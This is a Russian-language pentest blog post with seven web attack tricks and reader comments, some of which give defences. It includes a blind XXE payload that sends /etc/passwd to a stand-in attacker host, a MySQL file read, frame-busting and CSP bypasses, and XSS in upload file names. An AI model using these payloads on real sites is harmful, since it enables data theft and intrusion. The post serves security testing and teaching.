Подборка трюков при анализе защищенности веб приложений

    Всем привет! Этот топик посвящен разным трюкам при анализе защищенности (пентесте) веб приложений. Периодически сталкиваешься с ситуацией, когда надо обойти какую-нибудь защиту, выкрутиться в данных ограничениях или просто протестировать какое-то неочевидное место. И этот пост как раз об этом! Добро пожаловать под кат.

    Трюк #1 — Обойти защиту от Clickjacking'а


    Кликджекинг (англ. Clickjacking) — механизм обмана пользователей интернета, при котором злоумышленник может получить доступ к конфиденциальной информации или даже получить доступ к компьютеру пользователя, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу. Принцип основан на том, что поверх видимой страницы располагается невидимый слой, в который и загружается нужная злоумышленнику страница, при этом элемент управления (кнопка, ссылка), необходимый для осуществления требуемого действия, совмещается с видимой ссылкой или кнопкой, нажатие на которую ожидается от пользователя. Возможны различные применения технологии — от подписки на ресурс в социальной сети до кражи конфиденциальной информации и совершения покупок в интернет-магазинах за чужой счёт (С) http://ru.wikipedia.org/wiki/Кликджекинг

    При данной атаке требуется отобразить ресурс во фрейме, и правильный путь для защиты — добавить заголовок X-Frame-Options с нужными ограничениями (обычно, запрещают показывать ресурс во фрейме всем).
    Но на довольно большом количестве сайтов можно встретить подобный код:

    if (self !== top) {
    top.location = self.location;
    }
    

    Javascript, при помощи которого ресурс пытается «выпрыгнуть» из фрейма. И здесь есть два пути обхода данной защиты.

    1. Race condition

    Мы можем «повешать» новый Listener на unload окна и ввести всё окно в состояние гонки
    var kill_bust = 0
    window.onbeforeunload = function(){kill_bust++};
    setInterval(function() {
    if (kill_bust > 0) {
    kill_bust -= 2;
    top.location = '204.php';
    }}, 1);

    Где 204.php — следующий скрипт

    header("HTTP/1.0 204 No Response");
    

    В итоге не дать сайту «выпрыгнуть» из фрейма.

    2. Использование стандаратов HTML5

    Мы можем ограничить действие скриптов во фрейме, открывая его в режиме песочницы
    <iframe src="http://victim.com" sandbox="
    allow-forms
    allow-scripts" />
    

    Данные методы рассматривались на воркшопе ZeroNights: 2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-_Hacking_HTML5.pdf

    Трюк #2 — Чтение файлов в MySQL при отсутствии file_priv


    Считается, что читать файлы в MySQL можно только при выставленных файловых привилегиях у пользователя. Но это не совсем так. Если у нас есть право создавать таблицы — мы можем при создании таблицы прочитать файл, не имея file_priv

    LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';
    

    и
    select * from test; 
    

    Данная тема разобрана на форуме rdot.

    Трюк #3 — Использование echo сервисов для XSS


    Это трюк относится к созданию PoC для очень специфичных XSS. Представим себе echo сервис, который просто отдает запрошенное содержимое обратно. Если мы обратимся к нему по HTTP — то он нам просто вернет весь наш HTTP запрос. А если мы запросим что-то типа victim.com:1024/<script>alert(1)</script>? То он нам вернет весь HTTP запрос, где в начале будет XSS. Но здесь два момента.

    1. Ответ на HTTP запрос будет некорректен (для версии протокола HTTP 1.X+), но в версии HTTP 0.9 необязательно корректно отвечать на запрос, поэтому некоторые браузеры (Internet Explorer) рендерят подобные ответы. Об этом можно узнать в книге Michal Zalewski «The tangled web».
    2. Перед отправкой запроса на сервер браузер преобразует url в «безопасный» вид (%20 и подобные штуки в вашей адресной строке). Как итог — echo сервис вернёт нем не наши тэги с xss — <script>, а %3Cscript%3E. Но! Internet Explrer не энкодит данные после первого вопроса (GET параметры) в URL.

    Но есть способ заставить Explorer не энкодить ничего в URL (данный метод был случайно найден при пентесте). Это отдать ссылку IE через заголовок Location
    <?php
    header("Location: http://victim/ANY_DATA_HERE_WILL_BE_NOT_ENCODED");
    ?>
    

    Как итог — отправить «нормальный» запрос на echo сервис, который нам же его и вернет. А IE — отрендерит.
    Далее возникнет логичный вопрос, а как же Same Origin Policy? Ведь мы исполняем js на другом порту, отличным от нужного нам порта веб-сервера и атакуемого сайта? В Internet explorer порт не учитывается при детекте SOP, вот так. Как итог — подобный трюк помогает просто показать (POC), что вектор есть в данных, очень сложных условиях. Например — подобное было найдено нашими ресерчами в SAP.

    Трюк #4 — Чтение данных при «слепой» XML инъекции


    XXE — атака на приложения, обрабатывающие XML. Вместо каких-нибудь валидных и ожидаемых данных на обработку отдаются XML-cущности, который парсер должен (по дефолту) сначала распарсить, а только потом обработать всю XML. В качестве сущности можно задать файл (например, в качестве никнейма) и после посмотреть на свой ник (а этой какой-нибудь /etc/passwd). Но бывают ситуации, когда отправляешь XML и всё, в никуда, никаких ответов. При подобной «слепой» инъекции можно использовать японский/PT вектор.

    Отдается первая XML с DTD по внешнему адресу:

    evil.xml
    <?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
    <foo>&e1;</foo>
    


    test.dtd
    <!ENTITY % p1 SYSTEM "file:///etc/passwd">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
    %p2;
    


    Как итог — XML парсер обработает данные выше и попробует запросить сущность GET запросом, в параметрах которого будут данные файла (а там уже мониторим access.log).

    Трюк #5 — Обход CSP и исполнение javascript из GIF файла


    Content-Security-Policy — заголовок, который сообщает браузеру, откуда можно подргружать различные данные (например, JS), всё остальное — запрещено. Это значительно затрудняет эксплуатацию XSS уязвимостей. Внедриться можем, а js выполнить — нет, .js файлы разрешены только с каких-то определенных доменов. Теперь, если мы можем загружать файлы (например, аттачить в письмо), то можно сгенерировать «злобный» вполне валидный GIF файл, при инклуде которого

    <script src = "http://domain-in-white-list/evil_image.gif"></script>
    

    Исполнится JS. Демо, скрипт, использовалось в FaceBook.

    Трюк #6 — игнорирование заголовка «Content-Disposition: attachment» и рендеринг скрипта в браузере.


    Я очень подробно описывал этот вектор здесь. Смысл в том, что iOS устройства игнорируют этот заголовок и «пригодный» контент (html/svg) рендерят в браузере. Пример из прошлой статьи аттача из gmail, который не должен автоматом открываться в браузере
    GMail


    Трюк #7 — «Непопулярное» место при тестировании на XSS


    Факт — место, описанное в трюке, действительно очень непопулярно при тестировании на XSS среди множества пентестеров.

    Идея: создать файл <img src = x onerror=alert(1)>.jpeg и отправить жертве.

    Под Linux системами файл с таким именем создать просто

    # touch '<img src = x onerror=alert(1)>.jpeg' 

    Но под Windows — нельзя, ввиду особенностей файловых систем этой ОС. Решение очень простое, пускаем весь трафик Burp Proxy и подменяем данные на этапе их отправки

    ------WebKitFormBoundaryFS9MRFpHBt02jHkz
    Content-Disposition: form-data; name="upload[0]"; filename=""><img src = x onerror=alert(1)>"
    

    Подобным способом была найдена XSS в Google AdWords — c0rni3sm.blogspot.ru/2013/12/google-adwords-stored-xss-from-nay-to.html, которую можно было использовать против других пользователей.

    Спасибо за внимание!
    Метки:
    Digital Security 113,19
    Безопасность как искусство
    Поделиться публикацией
    Похожие публикации
    Комментарии 16
    • +1
      У вас в компании есть отдельная директива, называть XXE OOB вектор «японским»? Мне так, чисто из любопытства.
      • +1
        Мне кажется, на японских форумах он упоминался (публично) раньше (2009 год), чем XXE OOB (2013)?
        P.S. Знаю, что была какая-то дискуссия на эту тему, но не в курсе её результатов.
        • +1
          Вопрос: этот японский вектор кто-нибудь знал кроме самих японцев до того, как появился XXE OOB?
          • +1
            Если говорить про меня лично — то я узнал о них одновременно, когда эксплуатировал впервые подобную XXE, поэтому указал тот, на который отсылка есть раньше.
            И если отвечать на вопрос Тимура, ответ нет. Можно открыть журнал «Хакер» и посмотреть, что в т.ч. в печатных изданиях и до написания этой статьи указываем оба названия (здесь апдейтнул).
      • +2
        Хорошо бы теперь статью, как закрыть все эти 7 трюков.
        • +3
          1. Использовать X-Frame-Options (с корректными правилами);
          2. Не выдавать право Create текущему пользователю. Чаще всего это не требуется. Если требуется (например, для обновления / установки CMS) — добавлять/удалять только на это время;
          3. Echo сервисы — странная штука :) Обычно сетевой сервис не должен вести себя в подобном режиме на продакшине
          4. Отключение парсинга сущностей, практически все стандартные парсеры это позволяют;
          5. Загружать юзер контент на отдельный домен, не в whitelist CSP. Если требуется отобразить preview — то делать preview из белого листа. При конвертации гифки код потеряется;
          6. Хранить весь юзер контент на отдельном, изолированном домене (не поддомене, а на именно отдельном домене);
          7. Преобразовывать спец. символы в т.ч. в имени загружаемого файла, так как эта такая же информация от пользователя, как и вся другая.
          • +2
            Хорошая статья получилась. Всем бы так!
            • 0
              6. Прощай полноценный HTTPS.
              • 0
                В чем проблема докупить сертификат для этого отдельного домена?
                • 0
                  Не уверен, как это расценит браузер. Он не любит на HTTPS страницах данные (статику), загруженную по HTTP (даже с того же домена). Что он будет думать на тему левого домена, хоть и по HTTPS — я не знаю.
                  • 0
                    Будет загружать без возражений.

                    Так сделано у vk.com, mega.co.nz. На статику обычно меньший ключ ставят.
          • 0
            Трюк #2 попробовал на MySQL 5.5. Получил такую ошибку:
            mysql> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY ' ';
            ERROR 1148 (42000): The used command is not allowed with this MySQL version
            

            Видимо, на каких версиях это изменилось. На указанном линке народ говорит про 5.0 и 5.1.
            • +1
              Видимо ваш мускул собран без --enable-local-infile.
              • 0
                Он был собран с параметрами по-умолчанию в этом плане. Если добавить --local-infile как предложили ниже, то работает. Но так работает только в mysql клиенте из командной строки, а через web я получаю ту же ошибку "(1148, 'The used command is not allowed with this MySQL version')".
                Похоже, что в моём модуле, который я использую, это отключено. У меня обычный MySQLdb для Python.
              • 0
                Попробуйте подключиться к серверу с опцией --local-infile. Например так:
                mysql -h 192.168.100.205 -P 3306 --local-infile -u user1 -p

                После этого все отлично работает :) ну и проверить show variables like '%infile%'; на всякий случай.
                • 0
                  Да, с --local-infile сработало из командной строки. На доступ через web это не распространяется, так как там это не включено по-умолчанию.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое